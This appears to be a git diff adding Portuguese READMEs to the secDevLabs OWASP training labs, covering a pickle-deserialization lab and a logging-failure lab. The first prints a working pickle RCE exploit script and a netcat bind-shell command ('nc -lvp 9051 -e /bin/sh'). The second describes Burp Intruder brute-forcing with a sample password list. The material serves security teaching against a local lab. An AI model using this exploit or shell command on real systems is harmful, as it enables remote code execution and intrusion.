+
+Esta é uma aplicação web simples construída com Flask que contém um exemplo de vulnerabilidade de falha de integridade de software e dados e, seu principal objetivo é descrever como um usuário malicioso poderia explorar uma vulnerabilidade, instalada intencionalmente no Amarelo Designs do secDevLabs, para obter dados remotos cegos execução do código.
+
+## Index
+
+- [Amarelo Designs](#amarelo-designs)
+ - [Index](#index)
+ - [O que é falha de integridade de software e dados?](#o-que-é-falha-de-integridade-de-software-e-dados)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app 🎨](#conheça-o-app-)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+## O que é falha de integridade de software e dados?
+
+A serialização é o processo de tradução de estruturas de dados ou estado de objeto, em um formato que pode ser armazenado ou transmitido e reconstruído posteriormente. A desserialização insegura geralmente leva à execução remota de código. Mesmo que as falhas de desserialização não resultem em execução remota de código, elas podem ser usadas para realizar ataques, incluindo ataques de repetição, ataques de injeção e ataques de escalação de privilégios.
+
+O objetivo principal deste aplicativo é discutir como as vulnerabilidades **Software and Data Integrity Failure** podem ser exploradas e encorajar os desenvolvedores a enviar solicitações pull do secDevLabs sobre como mitigar essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a8/amarelo-designs
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10008][app] ! 😆
+
+## Conheça o app 🎨
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir estes passos simples:
+
+- Visite a página inicial!
+- Dê uma olhada no portfólio
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### O uso de uma função de desserialização insegura permite a execução remota de código
+
+É possível acessar a aplicação web do servidor a partir da porta HTTP 10008, como mostra a imagem abaixo:
+
+
+
+Fazendo uso da ferramenta [Dirb] para pesquisar páginas da web e diretórios comuns [wordlist], conseguimos encontrar `/user`, `/admin` e `/console`, como mostra a figura abaixo: (Se você deseja instalar o Dirb para Mac OS, certifique-se de clicar [aqui][4])
+
+```sh
+$ dirb http://localhost:10008 ./../../../docs/common.txt
+```
+
+
+
+
+
+Ao ser acessada, a página `/admin` expõe uma tela de autenticação, conforme ilustrado na imagem:
+
+
+
+
+
+### 🔥
+
+Um teste rápido utilizando `admin` como credenciais para os campos `Username` e `Password`, nos dá acesso a um Admin Dashboard, conforme mostrado abaixo:
+
+
+
+Agora, usando o [Burp Suite] como proxy para interceptar a solicitação de login, podemos ver que o aplicativo retorna um cookie de sessão, `sessionId`, conforme ilustrado abaixo:
+
+
+
+Após decodificar o cookie, que está em base64, foi encontrada a seguinte estrutura:
+
+
+
+A estrutura encontrada é muito semelhante às criadas com a função [Pickle]. Podemos ter certeza disso dando uma olhada no [código][3] do aplicativo. A dica já está confirmada, o app usa Pickle, como podemos ver na imagem abaixo:
+
+
+
+Se um invasor souber que o aplicativo usa `Pickle` como método de serialização, ele poderá criar um cookie malicioso para aproveitá-lo e executar o código remotamente. Um exemplo de exploit (serializaPickle.py) no Python 3 que poderia produzir esse cookie poderia ser:
+
+```python
+import pickle
+import os
+import base64
+import sys
+import requests
+
+cmd = str(sys.argv[1])
+url = str(sys.argv[2])
+
+
+class Exploit(object):
+ def __reduce__(self):
+ return (os.system, (cmd, ))
+
+
+pickle_result = pickle.dumps(Exploit())
+
+result = str(base64.b64encode(pickle_result), "utf-8")
+
+print(result)
+print(cmd)
+print(url)
+
+cookie = {'sessionId': result}
+
+print(cookie)
+
+r = requests.get(url, cookies=cookie)
+```
+
+Para ter certeza de que o aplicativo é explorável, enviaremos um comando de suspensão para que o aplicativo não responda por 10 segundos. Se o aplicativo demorar 10 segundos para retornar nossa solicitação, então está confirmado, o aplicativo é explorável. Como podemos ver na imagem abaixo, o aplicativo demora um pouco para retornar nossa solicitação, confirmando assim que é explorável e confirmando a execução remota do código:
+
+```sh
+$ python3 serializaPickle.py "sleep 10" http://localhost:10008/user
+```
+
+
+
+Para mostrar como um invasor pode ter acesso ao servidor por meio de um RCE, usaremos o código descrito na imagem abaixo para criar um shell de ligação na porta 9051 do servidor.
+
+```sh
+$ python3 serializaPickle.py "nc -lvp 9051 -e /bin/sh" http://localhost:10008/user
+```
+
+
+
+O código usado acima cria um shell de ligação na porta 9051 do servidor, que está ouvindo as conexões de entrada. Depois disso, o invasor pode se conectar a essa porta usando um simples comando [netcat], conforme mostrado abaixo:
+
+```sh
+$ nc localhost 9051
+```
+
+
+
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Execute código remotamente por meio de uma vulnerabilidade de serialização
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3A%22Amarelo+Designs%22)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10008
+[secdevlabs]: https://github.com/globocom/secDevLabs
+[2]: https://github.com/globocom/secDevLabs/tree/master/owasp-top10-2021-apps/a8/amarelo-designs
+[dirb]: https://tools.kali.org/web-applications/dirb
+[burp suite]: https://en.wikipedia.org/wiki/Burp_suite
+[3]: https://github.com/globocom/secDevLabs/blob/master/owasp-top10-2021-apps/a8/amarelo-designs/app/app.py
+[pickle]: https://docs.python.org/2/library/pickle.html
+[netcat]: https://en.wikipedia.org/wiki/Netcat
+[4]: https://github.com/globocom/secDevLabs/blob/master/docs/Dirb.md
+[wordlist]: https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt
diff --git a/owasp-top10-2021-apps/a9/games-irados/README.md b/owasp-top10-2021-apps/a9/games-irados/README.md
index dbef5d09a..6fd6dffad 100644
--- a/owasp-top10-2021-apps/a9/games-irados/README.md
+++ b/owasp-top10-2021-apps/a9/games-irados/README.md
@@ -1,19 +1,24 @@
# Games Irados
- 
+
+
Games Irados is a simple Python web application that contains an example of a Security Logging and Monitoring Failure vulnerability and, its main goal is to demonstrate how important it is to properly log all requests made to the application and how easily malicious requests could go unnoticed.
## Index
-- [Definition](#what-is-security-logging-&-monitoring-failure)
-- [Setup](#setup)
-- [Attack narrative](#attack-narrative)
-- [Objectives](#secure-this-app)
-- [Solutions](#pr-solutions)
-- [Contributing](#contributing)
+ - [Games Irados](#games-irados)
+ - [Index](#index)
+ - [What is Security Logging and Monitoring Failure?](#what-is-security-logging-and-monitoring-failure)
+ - [Setup](#setup)
+ - [Get to know the app 🎮](#get-to-know-the-app-)
+ - [Attack narrative](#attack-narrative)
+ - [Poor application log might mask malicious requests made to the server](#poor-application-log-might-mask-malicious-requests-made-to-the-server)
+ - [Secure this app](#secure-this-app)
+ - [PR solutions](#pr-solutions)
+ - [Contributing](#contributing)
## What is Security Logging and Monitoring Failure?
diff --git a/owasp-top10-2021-apps/a9/games-irados/README_PT_BR.md b/owasp-top10-2021-apps/a9/games-irados/README_PT_BR.md
new file mode 100644
index 000000000..e32857d01
--- /dev/null
+++ b/owasp-top10-2021-apps/a9/games-irados/README_PT_BR.md
@@ -0,0 +1,181 @@
+# Games Irados
+
+
+
+
+
+
+Games Irados é uma aplicação web simples em Python que contém um exemplo de vulnerabilidade de falha de registro e monitoramento de segurança e, seu principal objetivo é demonstrar o quão importante é registrar corretamente todas as solicitações feitas ao aplicativo e com que facilidade solicitações maliciosas podem passar despercebidas.
+
+## Index
+
+- [Games Irados](#games-irados)
+ - [Index](#index)
+ - [O que é falha de registro e monitoramento de segurança?](#o-que-é-falha-de-registro-e-monitoramento-de-segurança)
+ - [Como inicializar o aplicativo?](#como-inicializar-o-aplicativo)
+ - [Conheça o app 🎮](#conheça-o-app-)
+ - [Narrativa de ataque](#narrativa-de-ataque)
+ - [Proteger este aplicativo](#proteger-este-aplicativo)
+ - [PR Soluções](#pr-soluções)
+ - [Contribuição](#contribuição)
+
+
+## O que é falha de registro e monitoramento de segurança?
+
+A falha de registro e monitoramento de segurança, juntamente com a integração ausente ou ineficaz com a resposta a incidentes, permite que os invasores ataquem ainda mais os sistemas, mantenham a persistência, mudem para mais sistemas e adulterem, extraiam ou destruam dados. A maioria dos estudos de violação mostra que o tempo para detectar uma violação é superior a 200 dias, normalmente detectado por partes externas em vez de processos internos ou monitoramento.
+
+O objetivo principal deste aplicativo é discutir como as vulnerabilidades **falha de registro e monitoramento de segurança** podem ser exploradas e encorajar os desenvolvedores a enviar solicitações pull do secDevLabs sobre como mitigar essas falhas.
+
+## Como inicializar o aplicativo?
+
+Para iniciar este aplicativo **intencionalmente inseguro**, você precisará do [Docker][Docker Install] e do [Docker Compose][Docker Compose Install]. Depois de clonar o repositório [secDevLabs](https://github.com/globocom/secDevLabs), no seu computador, você deve digitar os seguintes comandos para iniciar o aplicativo:
+
+```sh
+cd secDevLabs/owasp-top10-2021-apps/a9/games-irados
+```
+
+```sh
+make install
+```
+
+Depois é só visitar [localhost:10010][app] ! 😆
+
+## Conheça o app 🎮
+
+Para entender corretamente como esse aplicativo funciona, você pode seguir estes passos simples:
+
+- Criar um novo usuário!
+- Confira todos os jogos oferecidos!
+- Tente resgatar um cupom de jogo após o login!
+
+## Narrativa de ataque
+
+Agora que você conhece o propósito deste aplicativo, o que pode dar errado? A seção a seguir descreve como um invasor pode identificar e, eventualmente, encontrar informações confidenciais sobre o aplicativo ou seus usuários. Recomendamos que você siga estas etapas e tente reproduzi-las por conta própria para entender melhor o ataque! 😜
+
+### 👀
+
+#### Um log de aplicativo ruim pode mascarar solicitações maliciosas feitas ao servidor
+
+Para verificar como um aplicativo trata eventos considerados maliciosos, dois ataques serão feitos para testá-lo:
+
+- Força bruta a tela de login
+- Força bruta a tela de validação do cupom
+
+Inicialmente, iniciamos o primeiro ataque enviando uma tentativa de login intencionalmente errada, conforme mostra a imagem abaixo:
+
+
+
+
+
+## 🔥
+
+Depois disso, um invasor pode usar o [Burp Suite] como proxy para enviar quantas solicitações forem necessárias até que uma senha válida seja encontrada (se precisar de ajuda para configurar seu proxy, consulte este [guia](https:// support.portswigger.net/customer/portal/articles/1783066-configuring-firefox-to-work-with-burp)). Para isso, após encontrar a solicitação POST de login, clique com o botão direito e envie para `Intruder`, conforme mostrado abaixo:
+
+
+
+
+
+Na aba `Positions §`, todos os campos devem ser limpos primeiro através do botão `Clear §`. Para configurar `password` para mudar de acordo com cada senha da nossa lista de palavras do dicionário, basta clicar no botão `Add §` após selecioná-lo:
+
+
+
+
+
+Caso seja encontrada uma senha válida, o aplicativo pode processar novos cookies e eventualmente redirecionar o fluxo para outras páginas. Para garantir que o ataque de força bruta siga este comportamento, defina `Always` nas opções `Follow Redirections` na aba `Options`, conforme mostrado abaixo:
+
+
+
+
+
+Você pode usar a seguinte lista de palavras (`poc.txt`) apenas para fins de POC:
+
+```
+admin
+password
+123
+qweasd
+1qaz
+123456789
+flamengo
+zxc
+asd123qwe
+YOURVALIDPASSWORD
+```
+
+Antes de executar o ataque, você pode abrir uma nova aba em seu terminal e digitar o seguinte comando para observar como as solicitações maliciosas chegarão ao app:
+
+```sh
+docker logs app-a10 -f
+```
+
+Na aba `Payloads`, basta escolher a lista de palavras da opção `Load...` e então o ataque pode ser realizado através do botão `Start attack`.
+
+
+
+
+
+Como podemos ver pelos resultados das solicitações, o aplicativo trata solicitações bem-sucedidas e malsucedidas de maneira diferente, respondendo a códigos de status diferentes. Conforme mostrado abaixo, quando o payload está correto, o aplicativo responde um código de status `302 FOUND`, caso contrário, ele responde com um `200 OK`.
+
+
+
+
+
+Ao dar uma olhada na aplicação do lado do servidor, é possível ver que os logs fornecem poucas informações sobre o ataque, conforme mostrado abaixo:
+
+
+
+
+
+Além disso, se tentarmos a rota `/coupon`, em vez do `/login`, podemos ver resultados semelhantes. A página do cupom é mostrada abaixo:
+
+
+
+
+
+Usando o Burp Suite novamente, poderíamos enviar várias solicitações para o aplicativo para simular o segundo ataque de força bruta, alterando apenas o campo `cupom`:
+
+
+
+
+
+Se você precisar gerar uma lista de palavras numéricas simples, você pode usar o seguinte comando:
+
+```sh
+seq 100 200 > coupons.txt
+```
+
+Como podemos ver na imagem abaixo, as solicitações parecem ter sido tratadas corretamente pelo servidor.
+
+
+
+
+
+No entanto, também podemos confirmar que poucas informações estão sendo registradas no lado do servidor, conforme mostra a imagem abaixo:
+
+
+
+
+
+## Proteger este aplicativo
+
+Como você arrumaria essa vulnerabilidade? Após suas alterações, um invasor não poderá:
+
+- Descobrir quem fez o pedido
+- Descobrir o que aconteceu
+- Descobrir quando aconteceu
+- Descobrir onde aconteceu
+
+## PR Soluções
+
+[Alerta de spoiler 🚨 ] Para entender como essa vulnerabilidade pode ser resolvida, confira [esses pull requests](https://github.com/globocom/secDevLabs/pulls?q=is%3Apr+label%3A%22mitigation+solution+%F0%9F%94%92%22+label%3AGamesIrados.com)!
+
+## Contribuição
+
+Nós encorajamos você a contribuir com o SecDevLabs! Por favor, confira a seção [Contribuição no SecDevLabs](../../../docs/CONTRIBUTING.md) de como fazer a sua contribuição!🎉 🎉
+
+[docker install]: https://docs.docker.com/install/
+[docker compose install]: https://docs.docker.com/compose/install/
+[app]: http://localhost:10010
+[secdevlabs]: https://github.com/globocom/secDevLabs
+[2]: https://github.com/globocom/secDevLabs/tree/master/owasp-top10-2021-apps/a9/games-irados
+[burp suite]: https://portswigger.net/burp